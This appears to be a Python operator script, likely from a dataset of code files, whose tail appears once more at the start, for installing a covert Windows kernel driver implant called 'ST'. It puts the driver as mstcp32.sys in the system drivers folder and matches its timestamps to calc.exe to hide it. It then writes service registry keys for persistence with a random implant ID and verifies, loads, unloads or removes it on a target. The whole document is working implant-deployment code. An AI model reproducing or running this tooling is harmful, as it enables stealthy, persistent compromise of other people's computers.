('%s.sys' % drivername))) (safe, reason) = permissionscmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the permissions command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 permissionsres = permissionscmd.execute() if (not permissionscmd.success): dsz.ui.Echo(("ST driver (%s) doesn't exist!" % drivername), dsz.ERROR) return 0 else: dsz.ui.Echo(('ST driver (%s) exists.' % drivername), dsz.GOOD) return 1 def verifyinstalled(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] verifydriver(passed_menu) returnvalue = 1 dsz.ui.Echo(('==Checking to see if all reg keys for %s exist==' % drivername), dsz.WARNING) regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername)) regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Driver key doesn't exist", dsz.ERROR) return 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='ErrorControl') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("ErrorControl key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '0')): dsz.ui.Echo('ErrorControl key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Start') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Start key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '2')): dsz.ui.Echo('Start key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Type') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Type key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '1')): dsz.ui.Echo('Type key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Options') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Options key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '0a000000400100000600000021000000040000000002000001000000210000000000000006040000cb340000000700000000000021000000000000000604000034cb000020050a00010000000006000001000000')): dsz.ui.Echo('Options key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Params') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Params key doesn't exist", dsz.ERROR) returnvalue = 0 else: installedImplantID = regres.key[0].value[0].value dsz.ui.Echo(('ST implant ID (Params): %s' % installedImplantID), dsz.GOOD) if returnvalue: dsz.ui.Echo('All ST keys exist with expected values', dsz.GOOD) else: dsz.ui.Echo('Some ST keys were missing or had unexpected values', dsz.ERROR) return returnvalue def verifyrunning(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Checking to see if %s is running==' % drivername), dsz.WARNING) if dsz.windows.driver.VerifyRunning(drivername): dsz.ui.Echo('ST driver running.', dsz.GOOD) return 1 else: dsz.ui.Echo('ST driver NOT running!', dsz.ERROR) return 0 def main(): ops.preload('registryquery') ops.preload('drivers') ops.preload('put') ops.preload('matchfiletimes') ops.preload('registryadd') ops.preload('registrydelete') ops.preload('delete') if (not dsz.version.checks.windows.Is2000OrGreater()): dsz.ui.Echo('Target is pre Windows 2000! Cannot install, educate yourself', dsz.ERROR) return 0 if dsz.version.checks.IsOs64Bit(): dsz.ui.Echo('Target is x64! Cannot install, educate yourself', dsz.ERROR) return 0 if dsz.version.checks.windows.IsVistaOrGreater(): dsz.ui.Echo('Target is Vista+! Cannot install, educate yourself', dsz.ERROR) return 0 st_menu = ops.menu.Menu() implantid = getimplantID() drivername = 'mstcp32' st_menu.set_heading(('ST %s installation menu' % stVersion)) st_menu.add_str_option(option='Driver Name', section='Configuration', state=drivername) st_menu.add_hex_option(option='Implant ID', section='Configuration', state=implantid) st_menu.add_option(option='Install Driver', section='Installation', callback=install, passed_menu=st_menu) st_menu.add_option(option='Load Driver', section='Installation', callback=load, passed_menu=st_menu) st_menu.add_option(option='Verify Installation', section='Installation', callback=verifyinstalled, passed_menu=st_menu) st_menu.add_option(option='Verify Running', section='Installation', callback=verifyrunning, passed_menu=st_menu) st_menu.add_option(option='Uninstall ST', section='Uninstall', callback=uninstall, passed_menu=st_menu) st_menu.add_option(option='Unload Driver', section='Uninstall', callback=unload, passed_menu=st_menu) st_menu.execute(exiton=[0], default=0) if (__name__ == '__main__'): try: main() except RuntimeError as e: dsz.ui.Echo(('\nCaught RuntimeError: %s' % e), dsz.ERROR)
53.121311
429
0.641711
import ops, ops.menu, ops.data, ops.cmd import dsz, dsz.ui, dsz.version, dsz.windows import os.path from random import randint stVersion = '1.14' def getimplantID(): id = int(randint(0, 4294967295L)) return id def regadd(regaddcommand): value = None if ('value' in regaddcommand.optdict): value = regaddcommand.optdict['value'] else: value = regaddcommand.optdict['key'] (safe, reason) = regaddcommand.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the registryadd command (for value %s) because of a failed safety check: \n%s' % (value, reason)), dsz.ERROR) return 0 regaddres = regaddcommand.execute() if regaddcommand.success: dsz.ui.Echo(('Successfully added %s key.' % value), dsz.GOOD) return 1 else: dsz.ui.Echo(('Failed to add %s key!' % value), dsz.ERROR) return 0 def install(passed_menu=None): optdict = passed_menu.all_states() if verifyinstalled(passed_menu): dsz.ui.Echo('ST looks like it is already installed!', dsz.ERROR) return 0 drivername = optdict['Configuration']['Driver Name'] implantID = optdict['Configuration']['Implant ID'] dsz.ui.Echo(('==Installing %s==' % drivername), dsz.WARNING) localdriverpath = os.path.join(ops.RESDIR, 'ST1.14', 'mstcp32.sys') if verifydriver(passed_menu): if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 else: putcmd = ops.cmd.getDszCommand(('put %s -name %s -permanent' % (localdriverpath, os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', ('%s.sys' % drivername))))) (safe, reason) = putcmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the put command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 putres = putcmd.execute() if putcmd.success: dsz.ui.Echo(('Successfully put ST up as %s.' % drivername), dsz.GOOD) else: dsz.ui.Echo(('Put of ST as %s failed!' % drivername), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 matchfiletimescmd = ops.cmd.getDszCommand('matchfiletimes', src=os.path.join(dsz.path.windows.GetSystemPath(), 'calc.exe'), dst=os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', ('%s.sys' % drivername))) (safe, reason) = matchfiletimescmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the matchfiletimes command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 matchfiletimesres = matchfiletimescmd.execute() if matchfiletimescmd.success: dsz.ui.Echo('Successfully matchfiletimes ST against calc.exe.', dsz.GOOD) else: dsz.ui.Echo('Failed to matchfiletimes ST against calc.exe!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername)))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='ErrorControl', type='REG_DWORD', data='0'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Start', type='REG_DWORD', data='2'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Type', type='REG_DWORD', data='1'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Options', type='REG_BINARY', data='"0a 00 00 00 40 01 00 00 06 00 00 00 21 00 00 00 04 00 00 00 00 02 00 00 01 00 00 00 21 00 00 00 00 00 00 00 06 04 00 00 cb 34 00 00 00 07 00 00 00 00 00 00 21 00 00 00 00 00 00 00 06 04 00 00 34 cb 00 00 20 05 0a 00 01 00 00 00 00 06 00 00 01 00 00 00"'))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not regadd(ops.cmd.getDszCommand('registryadd', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Params', type='REG_DWORD', data=('"0x%08x"' % implantID)))): dsz.ui.Echo('Failed to add key, verify installation!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not verifyinstalled(passed_menu)): dsz.ui.Echo('ST failed to install properly!', dsz.ERROR) return 0 else: dsz.ui.Echo("ST installed properly! Don't forget to load the driver, if necessary.", dsz.GOOD) return 1 def uninstall(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Uninstalling %s==' % drivername), dsz.WARNING) if (not verifyinstalled(passed_menu)): dsz.ui.Echo("ST doesn't seem to be properly installed!", dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if verifyrunning(passed_menu): dsz.ui.Echo('ST running, attempting to unload.') if (not unload(passed_menu)): dsz.ui.Echo('Could not unload ST!', dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 else: dsz.ui.Echo('Successfully unload ST', dsz.GOOD) deletecmd = ops.cmd.getDszCommand('delete', file=os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', ('%s.sys' % drivername))) (safe, reason) = deletecmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the delete command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 deleteres = deletecmd.execute() if (not deletecmd.success): dsz.ui.Echo(('Could not delete ST driver (%s)!.' % drivername), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 else: dsz.ui.Echo(('Delete of ST driver (%s) successful.' % drivername), dsz.GOOD) regdelcmd = ops.cmd.getDszCommand('registrydelete', hive='l', key=('system\\CurrentControlSet\\Services\\%s' % drivername), recursive=True) (safe, reason) = regdelcmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the registrydelete command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 regdelres = regdelcmd.execute() if (not regdelcmd.success): dsz.ui.Echo('Could not delete the ST registry keys!.', dsz.ERROR) else: dsz.ui.Echo('Delete of ST registry keys successful.', dsz.GOOD) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 if (not verifyinstalled(passed_menu)): dsz.ui.Echo('ST successfully uninstalled!', dsz.GOOD) return 1 else: dsz.ui.Echo('ST uninstall failed!', dsz.ERROR) return 0 def load(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Loading %s==' % drivername), dsz.WARNING) drivercmd = ops.cmd.getDszCommand('drivers', load=drivername) (safe, reason) = drivercmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the load command because of a failed safety check: \n%s' % reason), dsz.ERROR) return 0 driverres = drivercmd.execute() if (not drivercmd.success): dsz.ui.Echo(('Driver %s was NOT successfully loaded!' % drivername), dsz.ERROR) return 0 else: dsz.ui.Echo(('Driver %s was successfully loaded!' % drivername), dsz.GOOD) return 1 verifyrunning(passed_menu) def unload(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Unloading %s==' % drivername), dsz.WARNING) drivercmd = ops.cmd.getDszCommand('drivers', unload=drivername) (safe, reason) = drivercmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the unload command because of a failed safety check: \n%s' % reason), dsz.ERROR) return 0 driverres = drivercmd.execute() if (not drivercmd.success): dsz.ui.Echo(('Driver %s was NOT successfully unloaded!' % drivername), dsz.ERROR) return 0 else: dsz.ui.Echo(('Driver %s was successfully unloaded!' % drivername), dsz.GOOD) return 1 verifyrunning(passed_menu) def verifydriver(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Checking to see driver %s exists on disk==' % drivername), dsz.WARNING) permissionscmd = ops.cmd.getDszCommand('permissions', file=os.path.join(dsz.path.windows.GetSystemPath(), 'drivers', ('%s.sys' % drivername))) (safe, reason) = permissionscmd.safetyCheck() if (not safe): dsz.ui.Echo(('Cannot execute the permissions command because of a failed safety check: \n%s' % reason), dsz.ERROR) if (not dsz.ui.Prompt('Do you wish to continue?', False)): return 0 permissionsres = permissionscmd.execute() if (not permissionscmd.success): dsz.ui.Echo(("ST driver (%s) doesn't exist!" % drivername), dsz.ERROR) return 0 else: dsz.ui.Echo(('ST driver (%s) exists.' % drivername), dsz.GOOD) return 1 def verifyinstalled(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] verifydriver(passed_menu) returnvalue = 1 dsz.ui.Echo(('==Checking to see if all reg keys for %s exist==' % drivername), dsz.WARNING) regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername)) regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Driver key doesn't exist", dsz.ERROR) return 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='ErrorControl') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("ErrorControl key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '0')): dsz.ui.Echo('ErrorControl key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Start') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Start key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '2')): dsz.ui.Echo('Start key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Type') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Type key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '1')): dsz.ui.Echo('Type key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Options') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Options key doesn't exist", dsz.ERROR) returnvalue = 0 elif (not (regres.key[0].value[0].value == '0a000000400100000600000021000000040000000002000001000000210000000000000006040000cb340000000700000000000021000000000000000604000034cb000020050a00010000000006000001000000')): dsz.ui.Echo('Options key not set correctly', dsz.ERROR) returnvalue = 0 regcmd = ops.cmd.getDszCommand('registryquery', hive='L', key=('system\\CurrentControlSet\\Services\\%s' % drivername), value='Params') regres = regcmd.execute() if (regcmd.success == 0): dsz.ui.Echo("Params key doesn't exist", dsz.ERROR) returnvalue = 0 else: installedImplantID = regres.key[0].value[0].value dsz.ui.Echo(('ST implant ID (Params): %s' % installedImplantID), dsz.GOOD) if returnvalue: dsz.ui.Echo('All ST keys exist with expected values', dsz.GOOD) else: dsz.ui.Echo('Some ST keys were missing or had unexpected values', dsz.ERROR) return returnvalue def verifyrunning(passed_menu=None): optdict = passed_menu.all_states() drivername = optdict['Configuration']['Driver Name'] dsz.ui.Echo(('==Checking to see if %s is running==' % drivername), dsz.WARNING) if dsz.windows.driver.VerifyRunning(drivername): dsz.ui.Echo('ST driver running.', dsz.GOOD) return 1 else: dsz.ui.Echo('ST driver NOT running!', dsz.ERROR) return 0 def main(): ops.preload('registryquery') ops.preload('drivers') ops.preload('put') ops.preload('matchfiletimes') ops.preload('registryadd') ops.preload('registrydelete') ops.preload('delete') if (not dsz.version.checks.windows.Is2000OrGreater()): dsz.ui.Echo('Target is pre Windows 2000! Cannot install, educate yourself', dsz.ERROR) return 0 if dsz.version.checks.IsOs64Bit(): dsz.ui.Echo('Target is x64! Cannot install, educate yourself', dsz.ERROR) return 0 if dsz.version.checks.windows.IsVistaOrGreater(): dsz.ui.Echo('Target is Vista+! Cannot install, educate yourself', dsz.ERROR) return 0 st_menu = ops.menu.Menu() implantid = getimplantID() drivername = 'mstcp32' st_menu.set_heading(('ST %s installation menu' % stVersion)) st_menu.add_str_option(option='Driver Name', section='Configuration', state=drivername) st_menu.add_hex_option(option='Implant ID', section='Configuration', state=implantid) st_menu.add_option(option='Install Driver', section='Installation', callback=install, passed_menu=st_menu) st_menu.add_option(option='Load Driver', section='Installation', callback=load, passed_menu=st_menu) st_menu.add_option(option='Verify Installation', section='Installation', callback=verifyinstalled, passed_menu=st_menu) st_menu.add_option(option='Verify Running', section='Installation', callback=verifyrunning, passed_menu=st_menu) st_menu.add_option(option='Uninstall ST', section='Uninstall', callback=uninstall, passed_menu=st_menu) st_menu.add_option(option='Unload Driver', section='Uninstall', callback=unload, passed_menu=st_menu) st_menu.execute(exiton=[0], default=0) if (__name__ == '__main__'): try: main() except RuntimeError as e: dsz.ui.Echo(('\nCaught RuntimeError: %s' % e), dsz.ERROR)
false
true